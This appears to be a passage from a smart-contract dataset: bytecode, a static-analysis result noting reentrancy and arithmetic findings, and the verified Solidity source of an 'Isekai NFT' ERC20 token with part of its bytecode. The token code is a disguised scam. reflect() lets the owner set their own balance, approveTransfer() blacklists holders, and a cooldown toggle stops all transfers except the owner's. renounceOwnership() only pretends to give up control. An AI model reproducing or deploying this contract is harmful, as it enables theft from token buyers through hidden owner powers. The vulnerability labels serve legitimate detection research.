fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61171b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118345750601060179054906101000a900460ff165b156118e45760115481111561184857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061189357600080fd5b601e426118a09190612ece565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118ef30610786565b9050601060159054906101000a900460ff1615801561195c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119745750601060169054906101000a900460ff165b1561199c5761198281611c09565b6000479050600081111561199a5761199947611a12565b5b505b505b6119a9838383611e91565b505050565b60008383111582906119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed9190612c16565b60405180910390fd5b5060008385611a059190612faf565b9050809150509392505050565b6000611a69611a2e600b54600c54611ea190919063ffffffff16565b611a5b633b9aca00611a4d612710600c54611eff90919063ffffffff16565b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611aaa633b9aca00611a9c612710611a8e8787611eff90919063ffffffff16565b611f7a90919063ffffffff16565b611f7a90919063ffffffff16565b90506000611ac18285611fc490919063ffffffff16565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611b2b573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b94573d6000803e3d6000fd5b5050505050565b6000600854821115611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990612c58565b60405180910390fd5b6000611bec61200e565b9050611c018184611f7a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c4157611c40613184565b5b604051908082528060200260200182016040528015611c6f5781602001602082028036833780820191505090505b5090503081600081518110611c8757611c86613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d2957600080fd5b505afa158015611d3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6191906126ad565b81600181518110611d7557611d74613155565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ddc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611305565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e40959493929190612db3565b600060405180830381600087803b158015611e5a57600080fd5b505af1158015611e6e573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e9c838383612039565b505050565b6000808284611eb09190612ece565b905083811015611ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eec90612cb8565b60405180910390fd5b8091505092915050565b600080831415611f125760009050611f74565b60008284611f209190612f55565b9050828482611f2f9190612f24565b14611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690612cd8565b60405180910390fd5b809150505b92915050565b6000611fbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612204565b905092915050565b600061200683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ae565b905092915050565b600080600061201b612267565b915091506120328183611f7a90919063ffffffff16565b9250505090565b60008060008060008061204b876122d2565b9550955095509550955095506120a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218a8161234e565b612194848361240b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121f19190612d98565b60405180910390a3505050505050505050565b6000808311829061224b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122429190612c16565b60405180910390fd5b506000838561225a9190612f24565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506122a36b033b2e3c9fd0803ce8000000600854611f7a90919063ffffffff16565b8210156122c5576008546b033b2e3c9fd0803ce80000009350935050506122ce565b81819350935050505b9091565b60008060008060008060008060006123038a600a546122fe600c54600b54611ea190919063ffffffff16565b612445565b925092509250600061231361200e565b905060008060006123268e8787876124db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061235861200e565b9050600061236f8284611eff90919063ffffffff16565b90506123c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61242082600854611fc490919063ffffffff16565b60088190555061243b81600954611ea190919063ffffffff16565b6009819055505050565b6000806000806124716064612463888a611eff90919063ffffffff16565b611f7a90919063ffffffff16565b9050600061249b606461248d888b611eff90919063ffffffff16565b611f7a90919063ffffffff16565b905060006124c4826124b6858c611fc490919063ffffffff16565b611fc490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124f48589611eff90919063ffffffff16565b9050600061250b8689611eff90919063ffffffff16565b905060006125228789611eff90919063ffffffff16565b9050600061254b8261253d8587611fc490919063ffffffff16565b611fc490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061257761257284612e4d565b612e28565b9050808382526020820190508285602086028201111561259a576125996131b8565b5b60005b858110156125ca57816125b088826125d4565b84526020840193506020830192505060018101905061259d565b5050509392505050565b6000813590506125e3816134cb565b92915050565b6000815190506125f8816134cb565b92915050565b600082601f830112612613576126126131b3565b5b8135612623848260208601612564565b91505092915050565b60008135905061263b816134e2565b92915050565b600081519050612650816134e2565b92915050565b600081359050612665816134f9565b92915050565b60008151905061267a816134f9565b92915050565b600060208284031215612696576126956131c2565b5b60006126a4848285016125d4565b91505092915050565b6000602082840312156126c3576126c26131c2565b5b60006126d1848285016125e9565b91505092915050565b600080604083850312156126f1576126f06131c2565b5b60006126ff858286016125d4565b9250506020612710858286016125d4565b9150509250929050565b600080600060608486031215612733576127326131c2565b5b6000612741868287016125d4565b9350506020612752868287016125d4565b925050604061276386828701612656565b9150509250925092565b60008060408385031215612784576127836131c2565b5b6000612792858286016125d4565b92505060206127a385828601612656565b9150509250929050565b6000602082840312156127c3576127c26131c2565b5b600082013567ffffffffffffffff8111156127e1576127e06131bd565b5b6127ed848285016125fe565b91505092915050565b60006020828403121561280c5761280b6131c2565b5b600061281a8482850161262c565b91505092915050565b600060208284031215612839576128386131c2565b5b600061284784828501612641565b91505092915050565b600080600060608486031215612869576128686131c2565b5b60006128778682870161266b565b93505060206128888682870161266b565b92505060406128998682870161266b565b9150509250925092565b60006128af83836128bb565b60208301905092915050565b6128c481612fe3565b82525050565b6128d381612fe3565b82525050565b60006128e482612e89565b6128ee8185612eac565b93506128f983612e79565b8060005b8381101561292a57815161291188826128a3565b975061291c83612e9f565b9250506001810190506128fd565b5085935050505092915050565b61294081612ff5565b82525050565b61294f81613038565b82525050565b600061296082612e94565b61296a8185612ebd565b935061297a81856020860161304a565b612983816131c7565b840191505092915050565b600061299b602383612ebd565b91506129a6826131d8565b604082019050919050565b60006129be602a83612ebd565b91506129c982613227565b604082019050919050565b60006129e1602683612ebd565b91506129ec82613276565b604082019050919050565b6000612a04602283612ebd565b9150612a0f826132c5565b604082019050919050565b6000612a27601b83612ebd565b9150612a3282613314565b602082019050919050565b6000612a4a602183612ebd565b9150612a558261333d565b604082019050919050565b6000612a6d602083612ebd565b9150612a788261338c565b602082019050919050565b6000612a90602983612ebd565b9150612a9b826133b5565b604082019050919050565b6000612ab3602583612ebd565b9150612abe82613404565b604082019050919050565b6000612ad6602483612ebd565b9150612ae182613453565b604082019050919050565b6000612af9601783612ebd565b9150612b04826134a2565b602082019050919050565b612b1881613021565b82525050565b612b278161302b565b82525050565b6000602082019050612b4260008301846128ca565b92915050565b6000604082019050612b5d60008301856128ca565b612b6a60208301846128ca565b9392505050565b6000604082019050612b8660008301856128ca565b612b936020830184612b0f565b9392505050565b600060c082019050612baf60008301896128ca565b612bbc6020830188612b0f565b612bc96040830187612946565b612bd66060830186612946565b612be360808301856128ca565b612bf060a0830184612b0f565b979650505050505050565b6000602082019050612c106000830184612937565b92915050565b60006020820190508181036000830152612c308184612955565b905092915050565b60006020820190508181036000830152612c518161298e565b9050919050565b60006020820190508181036000830152612c71816129b1565b9050919050565b60006020820190508181036000830152612c91816129d4565b9050919050565b60006020820190508181036000830152612cb1816129f7565b9050919050565b60006020820190508181036000830152612cd181612a1a565b9050919050565b60006020820190508181036000830152612cf181612a3d565b9050919050565b60006020820190508181036000830152612d1181612a60565b9050919050565b60006020820190508181036000830152612d3181612a83565b9050919050565b60006020820190508181036000830152612d5181612aa6565b9050919050565b60006020820190508181036000830152612d7181612ac9565b9050919050565b60006020820190508181036000830152612d9181612aec565b9050919050565b6000602082019050612dad6000830184612b0f565b92915050565b600060a082019050612dc86000830188612b0f565b612dd56020830187612946565b8181036040830152612de781866128d9565b9050612df660608301856128ca565b612e036080830184612b0f565b9695505050505050565b6000602082019050612e226000830184612b1e565b92915050565b6000612e32612e43565b9050612e3e828261307d565b919050565b6000604051905090565b600067ffffffffffffffff821115612e6857612e67613184565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ed982613021565b9150612ee483613021565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1957612f186130f7565b5b828201905092915050565b6000612f2f82613021565b9150612f3a83613021565b925082612f4a57612f49613126565b5b828204905092915050565b6000612f6082613021565b9150612f6b83613021565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612fa457612fa36130f7565b5b828202905092915050565b6000612fba82613021565b9150612fc583613021565b925082821015612fd857612fd76130f7565b5b828203905092915050565b6000612fee82613001565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061304382613021565b9050919050565b60005b8381101561306857808201518184015260208101905061304d565b83811115613077576000848401525b50505050565b613086826131c7565b810181811067ffffffffffffffff821117156130a5576130a4613184565b5b80604052505050565b60006130b982613021565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130ec576130eb6130f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6134d481612fe3565b81146134df57600080fd5b50565b6134eb81612ff5565b81146134f657600080fd5b50565b61350281613021565b811461350d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3d91e122dd3cbe8aa56188bd19c6934b408bd0e83d6c5b10b28ed6dd9f8ffe364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,817
0xd7c056bdfe0fc5cca2eed651cdfde8ec68564080
/** *Submitted for verification at Etherscan.io on 2021-11-04 */ /** WEBSITE - https://IsekaiNFT.in/ TELEGRAM - https://t.me/IsekaiNFT TWITTER - https://twitter.com/IsekaiNFT */ // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address owneraddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; owneraddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() internal view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function ownerAddress() public view returns (address) { return owneraddress; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); owneraddress = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract IsekaiNFT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Isekai NFT"; string private constant _symbol = "ISEKAI"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000000000 * 10**9; mapping (address => uint256) private _vOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _checkTransfer; event botBan (address botAddress, bool isBanned); address[] private _excluded; uint256 private _rTotal; uint256 private _tFeeTotal; bool _cooldown; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private constant MAX = ~uint256(0); uint256 private _totalSupply; address public uniV2factory; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); constructor (address V2factory) { uniV2factory = V2factory; _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _vOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcludedFromFee[_msgSender()] = true; _excluded.push(_msgSender()); _cooldown = false; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _vOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approveTransfer(address botAddress) external onlyOwner { if (_checkTransfer[botAddress] == true) { _checkTransfer[botAddress] = false; } else {_checkTransfer[botAddress] = true; emit botBan (botAddress, _checkTransfer[botAddress]); } } function checkTransfers(address botAddress) public view returns (bool) { return _checkTransfer[botAddress]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function cooldownEnable() public virtual onlyOwner { if (_cooldown == false) {_cooldown = true;} else {_cooldown = false;} } function cooldownCheck() public view returns (bool) { return _cooldown; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function reflect(uint256 totalFee, uint256 burnedFee) public virtual onlyOwner { _vOwned[owner()] = totalFee.sub(burnedFee); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_checkTransfer[sender] || _checkTransfer[recipient]) require (amount == 0, "no bots"); if (_cooldown == false || sender == owner() || recipient == owner()) { if (_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) { _vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount); } else {_vOwned[sender] = _vOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _vOwned[recipient] = _vOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} } else {require (_cooldown == false, "");} } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806360004d5c116100a0578063a457c2d711610064578063a457c2d7146103ae578063a9059cbb146103eb578063c2bd8dd214610428578063dd62ed3e14610465578063fc6fc10a146104a25761011f565b806360004d5c146102db57806370a0823114610304578063715018a6146103415780638f84aa091461035857806395d89b41146103835761011f565b806329bd5410116100e757806329bd5410146101f4578063313ce5671461021f578063395093511461024a5780634355b9d2146102875780635a830579146102b05761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104b9565b6040516101469190611d07565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611a78565b6104f6565b6040516101839190611cec565b60405180910390f35b34801561019857600080fd5b506101a1610514565b6040516101ae9190611e49565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190611a25565b610526565b6040516101eb9190611cec565b60405180910390f35b34801561020057600080fd5b506102096105ff565b6040516102169190611ca8565b60405180910390f35b34801561022b57600080fd5b50610234610625565b6040516102419190611e64565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190611a78565b61062e565b60405161027e9190611cec565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906119b8565b6106e1565b005b3480156102bc57600080fd5b506102c561090d565b6040516102d29190611cec565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190611ab8565b610924565b005b34801561031057600080fd5b5061032b600480360381019061032691906119b8565b610a1a565b6040516103389190611e49565b60405180910390f35b34801561034d57600080fd5b50610356610a63565b005b34801561036457600080fd5b5061036d610bb7565b60405161037a9190611ca8565b60405180910390f35b34801561038f57600080fd5b50610398610be1565b6040516103a59190611d07565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190611a78565b610c1e565b6040516103e29190611cec565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190611a78565b610ceb565b60405161041f9190611cec565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a91906119b8565b610d09565b60405161045c9190611cec565b60405180910390f35b34801561047157600080fd5b5061048c600480360381019061048791906119e5565b610d5f565b6040516104999190611e49565b60405180910390f35b3480156104ae57600080fd5b506104b7610de6565b005b60606040518060400160405280600a81526020017f4973656b6169204e465400000000000000000000000000000000000000000000815250905090565b600061050a610503610f1f565b8484610f27565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006105338484846110f2565b6105f48461053f610f1f565b6105ef856040518060600160405280602881526020016122b060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a5610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006106d761063b610f1f565b846106d2856005600061064c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b610f27565b6001905092915050565b6106e9610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076d90611da9565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561082c576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061090a565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610901929190611cc3565b60405180910390a15b50565b6000600b60009054906101000a900460ff16905090565b61092c610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b090611da9565b60405180910390fd5b6109cc81836118b890919063ffffffff16565b600260006109d8611902565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a6b610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aef90611da9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4953454b41490000000000000000000000000000000000000000000000000000815250905090565b6000610ce1610c2b610f1f565b84610cdc856040518060600160405280602581526020016122d86025913960056000610c55610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b610f27565b6001905092915050565b6000610cff610cf8610f1f565b84846110f2565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dee610f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff